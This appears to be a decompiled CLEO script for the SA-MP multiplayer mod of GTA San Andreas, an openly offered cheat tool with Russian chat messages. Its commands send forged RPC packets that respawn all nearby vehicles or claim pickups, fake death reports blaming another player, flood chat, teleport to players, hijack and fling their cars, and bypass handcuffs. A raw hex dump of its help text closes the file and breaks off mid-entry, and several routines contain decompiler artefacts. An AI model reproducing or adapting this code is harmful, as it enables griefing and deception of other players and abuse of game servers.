0AFF: samp 5@ = car_handle_by_samp_vehicle_id 0@
00D6: if
056E:   car 5@ defined
004D: jump_if_false @Label000486
00AA: store_car 5@ position_to 25@ 26@ 27@
00D6: if and
00C2:   sphere_onscreen 25@ 26@ 27@ radius 0.0
00FE:   actor $PLAYER_ACTOR sphere 0 in_sphere 25@ 26@ 27@ radius 150.0 150.0 150.0
004D: jump_if_false @Label000486
0B55: convert_3D_coords 25@ 26@ 27@ to_screen 3@ 4@
0B5A: get_screen_resolution 12@ 13@
0093: 14@ = integer 12@ to_float
0093: 15@ = integer 13@ to_float
0017: 3@ /= 640.0
006B: 3@ *= 14@ // (float)
0017: 4@ /= 448.0
006B: 4@ *= 15@ // (float)
0AC8: 21@ = allocate_memory_size 32
0AD3: 21@ = format "ID: {EAEAEA}%d" 0@ 
008E: 5@ = float 3@ to_integer
008E: 6@ = float 4@ to_integer
0D94:
hex
03 15 00 03
end
0005: 6@ = 0.5
0006:
0000: NOP
hex
01 FF CC 00
end
0400: store_coords_to 4@ 150.0 150.0 from_object 352520905 with_offset

:Label000486
000A: 0@ += 1
0019:   0@ > 2000
004D: jump_if_false @Label000388

:Label00049C
00D6: if
0039:   11@ == 1
004D: jump_if_false @Label0005D7
0006: 0@ = 0

:Label0004B5
03F0: enable_text_draw 1
0B20: samp 1@ = actor_handle_by_samp_player_id 0@
00D6: if
056D:   actor 1@ defined
004D: jump_if_false @Label0005C1
0B2A: samp 2@ = get_player_ping 0@
00A0: store_actor 1@ position_to 25@ 26@ 27@
00D6: if and
00C2:   sphere_onscreen 25@ 26@ 27@ radius 0.0
00FE:   actor $PLAYER_ACTOR sphere 0 in_sphere 25@ 26@ 27@ radius 150.0 150.0 150.0
004D: jump_if_false @Label0005C1
0B55: convert_3D_coords 25@ 26@ 27@ to_screen 3@ 4@
0B5A: get_screen_resolution 12@ 13@
0093: 14@ = integer 12@ to_float
0093: 15@ = integer 13@ to_float
0017: 3@ /= 640.0
006B: 3@ *= 14@ // (float)
0017: 4@ /= 448.0
006B: 4@ *= 15@ // (float)
0AC8: 21@ = allocate_memory_size 32
0AD3: 21@ = format "Ping: {EAEAEA}%d" 2@ 
008E: 5@ = float 3@ to_integer
008E: 6@ = float 4@ to_integer
0D94:
hex
03 15 00 03
end
0005: 6@ = 0.5
0006:
0000: NOP
hex
01 FF CC 00
end
0400: store_coords_to 4@ 150.0 150.0 from_object 352520905 with_offset

:Label0005C1
000A: 0@ += 1
0019:   0@ > 1000
004D: jump_if_false @Label0004B5

:Label0005D7
00D6: if
0039:   28@ == 1
004D: jump_if_false @Label000725
0006: 0@ = 0

:Label0005F0
0AB1: call_scm_func @Label002678 1 0@ 23@ 24@ 25@ 26@ 27@ 
00D6: if and
00FE:   actor $PLAYER_ACTOR sphere 0 in_sphere 25@ 26@ 27@ radius 500.0 500.0 500.0
00C2:   sphere_onscreen 25@ 26@ 27@ radius 0.0
8039:   not  23@ == 0
8039:   not  24@ == 0
004D: jump_if_false @Label00070F
0B55: convert_3D_coords 25@ 26@ 27@ to_screen 3@ 4@
0B5A: get_screen_resolution 12@ 13@
0093: 14@ = integer 12@ to_float
0093: 15@ = integer 13@ to_float
0017: 3@ /= 640.0
006B: 3@ *= 14@ // (float)
0017: 4@ /= 448.0
006B: 4@ *= 15@ // (float)
0AC8: 21@ = allocate_memory_size 64
0AD3: 21@ = format "ID: {EAEAEA}%d {00CCFF}Model: {EAEAEA}%d" 0@ 23@ 
008E: 5@ = float 3@ to_integer
008E: 6@ = float 4@ to_integer
0D94:
hex
03 15 00 03
end
0005: 6@ = 0.5
0006:
0000: NOP
hex
01 FF CC 00
end
0400: store_coords_to

:Label00070F
000A: 0@ += 1
0019:   0@ > 4048
004D: jump_if_false @Label0005F0

:Label000725
0002: jump @Label00036B
0002: jump @Label00026E

:Label000733
0001: wait 0 ms
0AC6: 30@ = label @Label001D06 offset
0B3B: samp show_dialog id 1 caption "{00CCFF}[CMDS] {EAEAEA}Доступные команды:" text 30@ button_1 "AC" button_2 "" style 0
0B43: samp cmd_ret

:Label00077D
0001: wait 0 ms
0B32: samp send_spawn
0B43: samp cmd_ret

:Label000785
0001: wait 0 ms
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0B43: samp cmd_ret

:Label000830
0001: wait 0 ms
0B4E: samp 1@ = get_current_dialog_id
0B4D: samp 7@ = get_current_dialog_type
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}ID текущего диалога: {00CCFF}%d{EAEAEA}. Тип текущего диалога: {00CCFF} %d{EAEAEA}." color 52479 1@ 7@ 
0B43: samp cmd_ret

:Label0008BB
0001: wait 0 ms
0B35: samp 7@ = get_last_command_params
0AD4: 7@ = scan_string 7@ format "%d" 8@ 
00D6: if and
0029:   8@ >= 0
8019:   not  8@ > 1000
004D: jump_if_false @Label000B09
00D6: if
0B23:  samp is_player_connected 8@
004D: jump_if_false @Label000ACD
0B36: samp 7@ = get_player_nickname 8@
0B2A: samp 9@ = get_player_ping 8@
0AB1: call_scm_func @Label002570 1 8@ 17@ 
0B20: samp 20@ = actor_handle_by_samp_player_id 8@
00D6: if
056D:   actor 20@ defined
004D: jump_if_false @Label000A69
0B25: samp 18@ = get_player_health 20@
0B26: samp 19@ = get_player_armor 20@
00D6: if
00DF:   actor 20@ driving
004D: jump_if_false @Label0009F6
03C0: 29@ = actor 20@ car
0227: 22@ = car 29@ health
0B2C: samp 16@ = get_vehicle_id_by_car_handle 29@
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Name: %s | Lvl: %d | Ping: %d | HP: %d | Armor: %d | CarHP: %d | CarID: %d" color 52479 7@ 17@ 9@ 18@ 19@ 22@ 16@ 
0002: jump @Label000A62

:Label0009F6
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Name: %s | Lvl: %d | Ping: %d | HP: %d | Armor: %d | OnFoot" color 52479 7@ 17@ 9@ 18@ 19@ 

:Label000A62
0002: jump @Label000AC6

:Label000A69
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Name: %s | Lvl: %d | Ping: %d | OutStreamed" color 52479 7@ 17@ 9@ 
0002: jump @Label002744

:Label000AC6
0002: jump @Label000B02

:Label000ACD
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Игрок не подключён." color 52479 

:Label000B02
0002: jump @Label000B68

:Label000B09
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Правильное использование – {00CCFF}/pinfo [0 - 1000]{EAEAEA}." color 52479 

:Label000B68
0B43: samp cmd_ret

:Label000B6A
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0001: wait 10 ms
0AF9: samp say_msg "%s" 1@ 
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Текст флуда: {00CCFF}\"%s\"{EAEAEA}." color 52479 1@ 
0B43: samp cmd_ret

:Label000C44
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
00D6: if
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
004D: jump_if_false @Label000CD8
00D6: if
0029:   1@ >= 0
004D: jump_if_false @Label000CD8
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Выполняется специальное действие {00CCFF}%d{EAEAEA}." color 52479 7@ 
0AFD: samp set_special_action 7@

:Label000CD8
0B43: samp cmd_ret

:Label000CDA
0B35: samp 1@ = get_last_command_params
00D6: if
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
004D: jump_if_false @Label000D85
00D6: if
0029:   1@ >= 0
004D: jump_if_false @Label000D85
0B3D: raknet 1@ = new_bit_stream
0B40: raknet bit_stream 1@ write 7@ type 3 size 4
0B41: raknet send_rpc 151 bit_stream 1@ priority 1 reliability 4 ordering_channel 0 shift_timestamp 0
0B3E: raknet delete_bit_stream 1@
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Будет зареспавнено ТС с ID {00CCFF}%d{EAEAEA}." color 52479 7@ 

:Label000D85
0B43: samp cmd_ret

:Label000D87
0B3D: raknet 1@ = new_bit_stream
0006: 7@ = 0

:Label000D93
0B40: raknet bit_stream 1@ write 7@ type 3 size 4
0B41: raknet send_rpc 151 bit_stream 1@ priority 1 reliability 4 ordering_channel 0 shift_timestamp 0
0B3F: raknet reset_bit_stream 1@
000A: 7@ += 1
0019:   7@ > 2000
004D: jump_if_false @Label000D93
0B3E: raknet delete_bit_stream 1@
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Будут зареспавнены все авто в зоне стрима." color 52479 
0B43: samp cmd_ret

:Label000E1D
0001: wait 0 ms
0AD1: show_formatted_text_highpriority "Uncuff ~b~ON" time 1000 

:Label000E35
0001: wait 0 ms
0AFD: samp set_special_action 0
00D6: if
0AB0:   key_pressed 77
004D: jump_if_false @Label000E35
0AD1: show_formatted_text_highpriority "Uncuff ~r~OFF" time 1000 
0B43: samp cmd_ret

:Label000E63
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
0012: 7@ *= 1000
0B28: samp disconnect_with_reason 0
0001: wait 7@ ms
0B27: samp set_gamestate 1
0B43: samp cmd_ret

:Label000E8F
0B35: samp 1@ = get_last_command_params
00D6: if
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
004D: jump_if_false @Label000EDD
00D6: if and
0029:   7@ >= 0
8019:   not  7@ > 299
004D: jump_if_false @Label000EDD
0247: load_model 7@
038B: load_requested_models
09C7: change_player $PLAYER_CHAR model_to 7@
0249: release_model 7@

:Label000EDD
0B43: samp cmd_ret

:Label000EDF
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
00D6: if and
0029:   7@ >= 0
8019:   not  7@ > 1000
004D: jump_if_false @Label000F58
00D6: if
0B23:  samp is_player_connected 7@
004D: jump_if_false @Label000F58
0AFE: samp send_death_by_player 7@ with_reason 49
0B36: samp 8@ = get_player_nickname 7@
0AD1: show_formatted_text_highpriority "Fake DriveBy by ~r~%s[%d]" time 2000 8@ 7@ 

:Label000F58
0B43: samp cmd_ret

:Label000F5A
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
00D6: if and
0029:   7@ >= 0
8019:   not  7@ > 1000
004D: jump_if_false @Label000F9C
0B20: samp 8@ = actor_handle_by_samp_player_id 7@
0002: jump @Label000FFA

:Label000F9C
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Правильный ввод: {00CCFF}/warpto [0 - 1000]{EAEAEA}." color 52479 
0002: jump @Label002744

:Label000FFA
00D6: if and
0B23:  samp is_player_connected 7@
056D:   actor 8@ defined
8118:   not actor 8@ dead
004D: jump_if_false @Label001087
04C4: store_coords_to 17@ 18@ 19@ from_actor 8@ with_offset 0.0 -0.5 -1.0
0172: 20@ = actor 8@ Z_angle
00A1: put_actor $PLAYER_ACTOR at 17@ 18@ 19@
0173: set_actor $PLAYER_ACTOR Z_angle_to 20@
0B36: samp 9@ = get_player_nickname 7@
0AD1: show_formatted_text_highpriority "You are warped to ~b~%s[%d]" time 2000 9@ 7@ 
0002: jump @Label0010FF

:Label001087
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Игрок вне зоны стрима, не подключён, либо мёртв. Операция {00CCFF}невозможна{EAEAEA}." color 52479 

:Label0010FF
0B43: samp cmd_ret

:Label001101
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
00D6: if
0019:   1@ > 0
004D: jump_if_false @Label0011BA
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
0AFF: samp 8@ = car_handle_by_samp_vehicle_id 7@
03F3: get_car 8@ primary_color_to 16@ secondary_color_to 17@
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Основной цвет: {00CCFF}%d{EAEAEA}. Второстепенный цвет: {00CCFF}%d{EAEAEA}." color 52479 16@ 17@ 
0002: jump @Label00120F

:Label0011BA
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Правильный ввод: {00CCFF}/vcolors [id ТС]{EAEAEA}." color 52479 

:Label00120F
0B43: samp cmd_ret

:Label001211
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d %d" 7@ 8@ 
00D6: if and
0019:   7@ > -1
8029:   not  7@ >= 256
0019:   8@ > -1
8029:   not  8@ >= 256
004D: jump_if_false @Label0012E7
03C0: 9@ = actor $PLAYER_ACTOR car
0229: set_car 9@ primary_color_to 7@ secondary_color_to 8@
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Основной цвет: {00CCFF}%d{EAEAEA}. Второстепенный цвет: {00CCFF}%d{EAEAEA}." color 52479 7@ 8@ 
0002: jump @Label001349

:Label0012E7
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Правильный ввод: {00CCFF}/svcolors [0 - 200] [0 - 200]{EAEAEA}." color 52479 

:Label001349
0B43: samp cmd_ret

:Label00134B
0001: wait 0 ms
00A0: store_actor $PLAYER_ACTOR position_to 16@ 17@ 18@
000F: 18@ -= 3.0
00A1: put_actor $PLAYER_ACTOR at 16@ 17@ 18@
0B43: samp cmd_ret

:Label001377
0B35: samp 1@ = get_last_command_params
00D6: if
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
004D: jump_if_false @Label001413
00D6: if
0029:   7@ >= 0
004D: jump_if_false @Label001413
0B3D: raknet 1@ = new_bit_stream
0B40: raknet bit_stream 1@ write 7@ type 3 size 4
0B41: raknet send_rpc 146 bit_stream 1@ priority 1 reliability 4 ordering_channel 0 shift_timestamp 0
0B3E: raknet delete_bit_stream 1@
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Взят пикап {00CCFF}%d{EAEAEA}." color 52479 7@ 

:Label001413
0B43: samp cmd_ret

:Label001415
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
00D6: if
0AD4: 1@ = scan_string 1@ format "%d" 8@ 
004D: jump_if_false @Label00145F
0470: 1@ = actor $PLAYER_ACTOR current_weapon
041A: 7@ = actor $PLAYER_ACTOR weapon 1@ ammo
005A: 7@ += 8@ // (int)
017B: set_actor $PLAYER_ACTOR weapon 1@ ammo_to 7@

:Label00145F
0B43: samp cmd_ret

:Label001461
0B12: 10@ = 10@ XOR 1
00D6: if
0039:   10@ == 1
004D: jump_if_false @Label0014CD
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Отображение идов ТС {00FF00}включено{EAEAEA}." color 52479 

:Label0014CD
00D6: if
0039:   10@ == 0
004D: jump_if_false @Label001530
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Отображение идов ТС {FF0000}отключено{EAEAEA}." color 52479 

:Label001530
0B43: samp cmd_ret

:Label001532
0B12: 11@ = 11@ XOR 1
00D6: if
0039:   11@ == 1
004D: jump_if_false @Label0015A4
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Отображение пинга игроков {00FF00}включено{EAEAEA}." color 52479 

:Label0015A4
00D6: if
0039:   11@ == 0
004D: jump_if_false @Label00160D
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Отображение пинга игроков {FF0000}отключено{EAEAEA}." color 52479 

:Label00160D
0B43: samp cmd_ret

:Label00160F
0B12: 28@ = 28@ XOR 1
00D6: if
0039:   28@ == 1
004D: jump_if_false @Label001680
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Отображение идов пикапов {00FF00}включено{EAEAEA}." color 52479 

:Label001680
00D6: if
0039:   28@ == 0
004D: jump_if_false @Label0016E8
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Отображение идов пикапов {FF0000}отключено{EAEAEA}." color 52479 

:Label0016E8
0B43: samp cmd_ret

:Label0016EA
0001: wait 0 ms
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Игроки в зоне стрима:" color 52479 
0006: 8@ = 0

:Label00172C
00D6: if
0B23:  samp is_player_connected 8@
004D: jump_if_false @Label001885
0B20: samp 20@ = actor_handle_by_samp_player_id 8@
00D6: if
056D:   actor 20@ defined
004D: jump_if_false @Label001885
0B36: samp 7@ = get_player_nickname 8@
0B2A: samp 9@ = get_player_ping 8@
0AB1: call_scm_func @Label002570 1 8@ 17@ 
0B25: samp 18@ = get_player_health 20@
0B26: samp 19@ = get_player_armor 20@
00D6: if
00DF:   actor 20@ driving
004D: jump_if_false @Label001824
03C0: 29@ = actor 20@ car
0227: 22@ = car 29@ health
0B2C: samp 1@ = get_vehicle_id_by_car_handle 29@
0AF8: samp add_message_to_chat "%s[%d]: {EAEAEA}LVL: %d | Ping: %d | HP: %d | Armor: %d | CarHP: %d | CarID: %d" color 52479 7@ 8@ 17@ 9@ 18@ 19@ 22@ 1@ 
0002: jump @Label001885

:Label001824
0AF8: samp add_message_to_chat "%s[%d]: {EAEAEA}LVL: %d | Ping: %d | HP: %d | Armor: %d | Not Driving" color 52479 7@ 8@ 17@ 9@ 18@ 19@ 

:Label001885
000A: 8@ += 1
0019:   8@ > 2000
004D: jump_if_false @Label00172C
0B43: samp cmd_ret

:Label00189D
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
00D6: if
0B23:  samp is_player_connected 7@
004D: jump_if_false @Label00191F
0B20: samp 8@ = actor_handle_by_samp_player_id 7@
00D6: if
056D:   actor 8@ defined
004D: jump_if_false @Label00191F
04C4: store_coords_to 16@ 17@ 18@ from_actor 8@ with_offset 0.0 0.5 0.0
0AB1: call_scm_func @Label0025F5 3 16@ 17@ 18@ 
0AF9: samp say_msg "/iznas %d" 7@ 

:Label00191F
0B43: samp cmd_ret

:Label001921
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
00D6: if
0B23:  samp is_player_connected 7@
004D: jump_if_false @Label0019BB
0B20: samp 8@ = actor_handle_by_samp_player_id 7@
00D6: if
056D:   actor 8@ defined
004D: jump_if_false @Label0019BB
04C4: store_coords_to 16@ 17@ 18@ from_actor 8@ with_offset 0.0 0.5 0.0
0AB1: call_scm_func @Label0025F5 3 16@ 17@ 18@ 
0AF9: samp say_msg "/knockout %d" 7@ 
0AF9: samp say_msg "/knockdown %d" 7@ 

:Label0019BB
0B43: samp cmd_ret

:Label0019BD
0001: wait 0 ms
00A0: store_actor $PLAYER_ACTOR position_to 16@ 17@ 18@
0AB5: store_actor $PLAYER_ACTOR closest_vehicle_to 7@ closest_ped_to 8@
036A: put_actor $PLAYER_ACTOR in_car 7@
0B43: samp cmd_ret

:Label0019E4
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
00D6: if and
0029:   7@ >= 0
8019:   not  7@ > 1000
004D: jump_if_false @Label001A3F
0B20: samp 8@ = actor_handle_by_samp_player_id 7@
00D6: if
00DF:   actor 8@ driving
004D: jump_if_false @Label001A3F
03C0: 9@ = actor 8@ car
036A: put_actor $PLAYER_ACTOR in_car 9@

:Label001A3F
0B43: samp cmd_ret

:Label001A41
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
00D6: if and
0029:   7@ >= 0
8019:   not  7@ > 1000
004D: jump_if_false @Label001AB8
0B20: samp 8@ = actor_handle_by_samp_player_id 7@
00D6: if
00DF:   actor 8@ driving
004D: jump_if_false @Label001AB8
03C0: 9@ = actor 8@ car
00A0: store_actor $PLAYER_ACTOR position_to 16@ 17@ 18@
036A: put_actor $PLAYER_ACTOR in_car 9@
00AB: put_car 9@ at 16@ 17@ 18@

:Label001AB8
0B43: samp cmd_ret

:Label001ABA
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d %d" 7@ 8@ 
00D6: if and
0019:   7@ > 0
8029:   not  7@ >= 4
004D: jump_if_false @Label001B55
0B22: samp set_sendrate 7@ to 8@
0AF8: samp add_message_to_chat "[hnnssy | CMDS]: {EAEAEA}Задержка отправки пакетов изменена на {00CCFF}%d{EAEAEA}." color 52479 8@ 

:Label001B55
0B43: samp cmd_ret

:Label001B57
0001: wait 0 ms
0B35: samp 1@ = get_last_command_params
0AD4: 1@ = scan_string 1@ format "%d" 7@ 
00D6: if and
80DF:   not actor $PLAYER_ACTOR driving
0029:   7@ >= 400
8019:   not  7@ > 611
004D: jump_if_false @Label001BEF
00D6: if
056E:   car 8@ defined
004D: jump_if_false @Label001BA5
00A6: destroy_car 8@

:Label001BA5
04C4: store_coords_to 16@ 17@ 18@ from_actor $PLAYER_ACTOR with_offset 0.0 3.0 0.0
0247: load_model 7@
0001: wait 250 ms
00A5: 8@ = create_car 7@ at 16@ 17@ 18@
0001: wait 200 ms
0249: release_model 7@
036A: put_actor $PLAYER_ACTOR in_car 8@

:Label001BEF
0B43: samp cmd_ret
00D6: if
80DF:   not actor $PLAYER_ACTOR driving
004D: jump_if_false @Label001CB4
0B35: samp 30@ = get_last_command_params
0AD4: 30@ = scan_string 30@ format "%d" 31@ 
0B20: samp 30@ = actor_handle_by_samp_player_id 31@
00D6: if and
056D:   actor 30@ defined
00DF:   actor 30@ driving
004D: jump_if_false @Label001CB4
03C0: 29@ = actor 30@ car
0B2C: samp 28@ = get_vehicle_id_by_car_handle 29@
00D6: if
056E:   car 29@ defined
004D: jump_if_false @Label001CB4
00A0: store_actor $PLAYER_ACTOR position_to 12@ 13@ 14@
0B30: samp send_enter_vehicle 28@ as_passenger 0
072A: put_actor $PLAYER_ACTOR into_car 29@ driverseat
04BA: set_car 29@ speed_to 1000.0
07D5: set_car 29@ velocity_in_direction_XYZ 30.0 30.0 100.0 rotation_velocitiesXY 0.0 0.0 unk 0.0
0001: wait 50 ms
0362: remove_actor $PLAYER_ACTOR from_car_and_place_at 12@ 13@ 14@
0B31: samp send_exit_vehicle 28@

:Label001CB4
0B43: samp cmd_ret

:Label001CB6
04C4: store_coords_to 16@ 17@ 18@ from_actor $PLAYER_ACTOR with_offset 0.0 4.0 10.0
00A1: put_actor $PLAYER_ACTOR at 16@ 17@ 18@
0B43: samp cmd_ret

:Label001CE3
0B35: samp 1@ = get_last_command_params
0B29: samp set_local_name "%s"
0103:   actor stopped_in_car
hex
00 28 0B 04
end
0100:   actor in_car
hex
04 19
end
0B27: samp set_gamestate 1
0B43: samp cmd_ret

:Label001D00
0B28: samp disconnect_with_reason 0
0B43: samp cmd_ret

:Label001D06
hex
7B 30 30 43 43 46 46 7D CA EE EC E0 ED E4 FB 3A
0A 7B 30 30 43 43 46 46 7D 2F 73 70 61 77 6E 20
7B 45 41 45 41 45 41 7D 97 20 CE F2 EF F0 E0 E2
E8 F2 FC 20 EF E0 EA E5 F2 20 EE 20 F0 E5 F1 EF
E0 E2 ED E5 2E 0A 7B 30 30 43 43 46 46 7D 2F 72
70 69 63 6B 73 20 7B 45 41 45 41 45 41 7D 97 20
CE F2 EE E1 F0 E0 E6 E5 ED E8 E5 20 E8 E4 EE E2
20 E8 20 EC EE E4 E5 EB E5 E9 20 EF E8 EA E0 EF
EE E2 2E 0A 7B 30 30 43 43 46 46 7D 2F 73 65 6E
64 70 69 63 20 5B 69 64 5F EF E8 EA E0 EF E0 5D
20 7B 45 41 45 41 45 41 7D 97 20 CE F2 EF F0 E0
E2 E8 F2 FC 20 EF E0 EA E5 F2 20 EE 20 E2 E7 FF
F2 E8 E8 20 EF E8 EA E0 EF E0 2E 0A 7B 30 30 43
43 46 46 7D 2F 66 6C 6F 6F 64 20 5B 74 65 78 74
5D 20 7B 45 41 45 41 45 41 7D 97 20 CF F0 EE F4
EB F3 E4 E8 F2 FC 20 E7 E0 E4 E0 ED ED FB EC 20
F2 E5 EA F1 F2 EE EC 20 31 30 20 F0 E0 E7 2E 0A
7B 30 30 43 43 46 46 7D 2F 64 69 6E 66 6F 20 7B
45 41 45 41 45 41 7D 97 20 D3 E7 ED E0 F2 FC 20
49 44 20 E8 20 F2 E8 EF 20 F2 E5 EA F3 F9 E5 E3
EE 20 E4 E8 E0 EB EE E3 E0 2E 0A 7B 30 30 43 43
46 46 7D 2F 70 69 6E 66 6F 20 5B 69 64 5D 20 7B
45 41 45 41 45 41 7D 97 20 C2 FB E2 E5 F1 F2 E8
20 E8 ED F4 EE F0 EC E0 F6 E8 FE 20 EE 20 E8 E3
F0 EE EA E5 2E 0A 7B 30 30 43 43 46 46 7D 2F 70
6C 61 79 65 72 73 20 7B 45 41 45 41 45 41 7D 97
20 C2 FB E2 E5 F1 F2 E8 20 E8 ED F4 EE F0 EC E0
F6 E8 FE 20 EE 20 E8 E3 F0 EE EA E0 F5 20 E2 20
E7 EE ED E5 20 F1 F2 F0 E8 EC E0 2E 0A 7B 30 30
43 43 46 46 7D 2F 70 70 69 6E 67 20 7B 45 41 45
41 45 41 7D 97 20 CE F2 EE E1 F0 E0 E6 E5 ED E8
E5 20 EF E8 ED E3 E0 20 E8 E3 F0 EE EA EE E2 2E
0A 7B 30 30 43 43 46 46 7D 2F 75 6E 63 75 66 66
6D 65 20 7B 45 41 45 41 45 41 7D 97 20 D1 ED FF
F2 E8 E5 20 ED E0 F0 F3 F7 ED E8 EA EE E2 20 28
E4 EB FF 20 E4 E5 E0 EA F2 E8 E2 E0 F6 E8 E8 20
ED E0 E6 EC E8 F2 E5 20 4D 29 2E 0A 7B 30 30 43
43 46 46 7D 2F 63 63 68 61 74 20 7B 45 41 45 41
45 41 7D 97 20 CE F7 E8 F1 F2 E8 F2 FC 20 F7 E0
F2 2E 0A 7B 30 30 43 43 46 46 7D 2F 61 63 74 20
5B 69 64 5F E4 E5 E9 F1 F2 E2 E8 FF 5D 20 7B 45
41 45 41 45 41 7D 97 20 C2 FB EF EE EB ED E8 F2
FC 20 F1 EF E5 F6 E8 E0 EB FC ED EE E5 20 E4 E5
E9 F1 F2 E2 E8 E5 2E 0A 7B 30 30 43 43 46 46 7D
2F 64 6F 77 6E 20 7B 45 41 45 41 45 41 7D 97 20
CF F0 EE E2 E0 EB E8 F2 FC F1 FF 20 EF EE E4 20
F2 E5 EA F1 F2 F3 F0 FB 2E 0A 7B 30 30 43 43 46
46 7D 2F 69 73 6C 61 70 20 7B 45 41 45 41 45 41
7D 97 20 D1 EB FD EF ED F3 F2 FC 20 F1 E5 E1 FF
2E 0A 7B 30 30 43 43 46 46 7D 2F 72 65 63 6F 6E
6E 65 63 74 20 5B E7 E0 E4 E5 F0 E6 EA E0 5D 20
7B 45 41 45 41 45 41 7D 97 20 CF E5 F0 E5 EF EE
E4 EA EB FE F7 E8 F2 FC F1 FF 20 EA 20 F1 E5 F0
E2 E5 F0 F3 20 28 E7 E0 E4 E5 F0 E6 EA E0 20 E2
20 F1 E5 EA F3 ED E4 E0 F5 29 2E 0A 7B 30 30 43
43 46 46 7D 2F 6E 69 63 6B 20 5B ED EE E2 EE E5
5F E8 EC FF 5D 20 7B 45 41 45 41 45 41 7D 97 20
D1 EC E5 ED E8 F2 FC 20 ED E8 EA 2E 0A 7B 30 30
43 43 46 46 7D 2F 73 73 6B 69 6E 20 5B 73 6B 69
6E 5F 69 64 5D 20 7B 45 41 45 41 45 41 7D 97 20
D1 EC E5 ED E8 F2 FC 20 F1 E5 E1 E5 20 F1 EA E8
ED 20 28 E2 E8 E7 F3 E0 EB FC ED EE 29 2E 0A 7B
30 30 43 43 46 46 7D 2F 66 61 6B 65 64 62 20 5B
69 64 5D 20 7B 45 41 45 41 45 41 7D 97 20 CE F2
EF F0 E0 E2 E8 F2 FC 20 EF E0 EA E5 F2 20 EE 20
F1 EC E5 F0 F2 E8 20 EE F2 20 E8 E3 F0 EE EA E0
20 28 44 72 69 76 65 42 79 29 2E 0A 7B 30 30 43
43 46 46 7D 2F 77 61 72 70 74 6F 20 5B 69 64 5D
20 7B 45 41 45 41 45 41 7D 97 20 D2 E5 EB E5 EF
EE F0 F2 E8 F0 EE E2 E0 F2 FC F1 FF 20 EA 20 E8
E3 F0 EE EA F3 2E 0A 7B 30 30 43 43 46 46 7D 2F
63 61 72 69 64 73 20 7B 45 41 45 41 45 41 7D 97
20 CE F2 EE E1 F0 E0 E6 E5 ED E8 E5 20 49 44 27
EE E2 20 E0 E2 F2 EE 2E 0A 7B 30 30 43 43 46 46
7D 2F 73 70 61 77 6E 63 61 72 20 5B 63 61 72 5F
